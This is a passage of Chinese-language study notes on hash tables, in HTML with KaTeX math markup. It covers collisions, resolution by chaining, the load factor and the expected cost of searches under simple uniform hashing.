style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span></span></span></span>。</p><p>显然压缩的方法是将多个键映射到同一个索引位置，也就是散列函数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>:</mo><mi>U</mi><mo>→</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">h: U \to \{0, 1, ..., m-1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>≪</mo><mi mathvariant="normal">∣</mi><mi>U</mi><mi mathvariant="normal">∣</mi></mrow><annotation encoding="application/x-tex">m \ll |U|</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≪</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">∣</span></span></span></span>。</p><p>那么显然会有冲突（Collision），也就是不同的键被映射到同一个索引位置。</p><p>除了如何使得散列函数分布均匀之外，接下来的问题就剩下如何处理冲突了。下面会提供两种常见的处理冲突的方法：链地址法（Separate Chaining）和开放地址法（Open Addressing）。</p><h3 id="collision-resolution-by-chaining"><a class="markdownIt-Anchor" href="#collision-resolution-by-chaining"></a> Collision resolution by chaining</h3><p>顾名思义，就是在每个索引位置创建一个链表，存储所有被映射到该位置的键值对。</p><blockquote><p>以下 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 为链表长度</p></blockquote><ul><li><p>INSERT 操作将新元素添加到链表中，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p></li><li><p>SEARCH 操作需要遍历链表，最坏情况下时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</p></li><li><p>DELETE 操作：</p></li><li><ul><li>已知元素指针：</li></ul></li><li><ul><li><ul><li>若双向链表，则直接删除，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</li></ul></li></ul></li><li><ul><li><ul><li>若单向链表，则需要遍历链表找到前驱节点，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</li></ul></li></ul></li><li><ul><li>已知元素键，必须先进行 SEARCH 操作找到元素指针，然后再按已知元素指针的方式删除，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</li></ul></li></ul><p>下面进行具体分析：</p><blockquote><p>以下 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 为散列表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 的总元素数量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 为槽位的数量。</p></blockquote><p>假设描述链的平均长度——散列表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 的装载因子 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mfrac><mi>n</mi><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">\alpha = \frac{n}{m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 是存储的元素数量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 是散列表的大小。</p><p>若所有键存储在一个槽位（Solt）中，则装载因子 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mi>n</mi><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>0</mn><mo>≤</mo><mi>α</mi><mo>≤</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\alpha = n, (0 \leq \alpha \leq 1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</p><p>假设散列函数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span> 将每个键均匀地随机分布在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 个槽位中，称为简单均匀散列（Simple Uniform Hashing）。</p><p>那么，对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi><mo>=</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><mi>m</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">j = 0, 1, ..., m-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，槽位 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[j]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span></span></span></span> 中的元素数量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">n_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 的期望值为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>n</mi><mi>j</mi></msub><mo stretchy="false">]</mo><mo>=</mo><mfrac><mi>n</mi><mi>m</mi></mfrac><mo>=</mo><mi>α</mi></mrow><annotation encoding="application/x-tex">E[n_j] = \frac{n}{m} = \alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>。</p><p>假设计算散列函数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 的时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，那么：</p><ol><li>在简单均匀散列的假设下，对于链表法，一次<strong>不成功</strong> SEARCH 操作的期望时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span>。</li></ol><p>由于任意键均匀分布在任意槽位上，而任意槽位的链表长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>，而遍历完链表才能确定不成功，所以包括计算散列函数的时间复杂度在内，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span>。</p><ol start="2"><li>在简单均匀散列的假设下，对于链表法，一次<strong>成功</strong> SEARCH 操作的期望时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span>。</li></ol><p>设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">x_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个被插入的元素，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">i = 1, 2, ..., n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span>，设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mi>i</mi></msub><mo>=</mo><msub><mi>x</mi><mi>i</mi></msub><mi mathvariant="normal">.</mi><mi>k</mi><mi>e</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">k_i = x_i.key</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span></span></span></span> 是元素 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">x_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的键，定义 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mi>i</mi></msub><mi>j</mi><mo>=</mo><mi>I</mi><mo stretchy="false">{</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><msub><mi>k</mi><mi>j</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> X_ij = I\{h(k_i) = h(k_j)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">{</span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span 